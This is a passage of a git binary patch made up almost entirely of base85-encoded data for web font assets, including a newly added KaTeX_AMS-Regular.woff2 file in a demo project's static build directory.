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 literal 0 HcmV?d00001 diff --git a/demo/static/dist/assets/KaTeX_AMS-Regular.woff2 b/demo/static/dist/assets/KaTeX_AMS-Regular.woff2 new file mode 100644 index 0000000000000000000000000000000000000000..0acaaff03d4bb7606de02a827aeee338e5a86910 GIT binary patch literal 28076 zcmV)4K+3;&Pew8T0RR910Bx)Q4gdfE0Qryr0ButM0RR9100000000000000000000 z00006U;u_x2rvnp3=s$lgQIMM!gK*P0we>6dJBXK00bZfh;RpzAq;^h8yChW*tQI) zf474tf9UWmvjer;At_qJJ4ObAjRSzte{IG8|DTss#?U6Pq$r5$-28t~$dN6wErwJo za~1SqW}?_^GLyD_B})qv!-NCu+2=w|xZXP?WH@?W-qc{t=*Dc@7G{&*Rr|f2PJS1C zhC(0s6eQ>iMjQ6NMr%a(8W(NUg-6j?jOV&o6a!>CRL6BUiA-uV3!83tjRD8w9Q zTS)(|WV)+(idwaDgvnbaZjk7gd`Q54BYKt#$^sjr>VY-r-3%|Gm46yDaW9 zA*>`MVXTA%2t!Ch7$IRKA?zg}h>8dZvc$1L!HHv{b?xdd&bo@Vt*u>ZTiaS|hyA~G z{@0vZsQ;#>ocmS+q4P+Q6bJ==`li~vx<@m2JRmS77FvoOGC`1MckSwYimL)UDdBE= zU(y{*T007`?KlPI+1(^67zzMC`>m=oco?9F7&)oE+s{ZQpTPk8{JE5yXE%chKZB_X8HRih-qey z+?Q-qv53jN4{v&CO1eskfOCJa3iT;f#6SE4=USD}rard`&95=?zssa(BF1FNtXLQ1 zZ~TM@OYAGf@a}&8C9fbbx97ge(q^cIwlr8&Knje!sSE&n4+)%A=~R~^uDx$0UY7!KfcrV?PMq?9a+|xdk4sNTo`xT10ZSpv)=wBog^+? zNVtS)ZhL_W7i(KX_NCm#VEfLsy7t$Ty`QJ}p`|<%v{So>8SwJ~C zVK#U35`M*$l6LT#61}{p@LooR$I7G?Dbu5I6a`IQ*PrM2%Vs~gE%8~3WQvFrG9l=GIBt*Od}N}61FZQE zW6Mf!kslWpsbCTqTnlB6*K#9)4p5JHZFH&`%3(OTE6|h<2UbL>qb*@ zdi((~nNq)2{fN5qp6w(l(`U|}JCzK7tnN9WM5dL+$_%{~I)_r%rEhNQi6GO2QuU|q 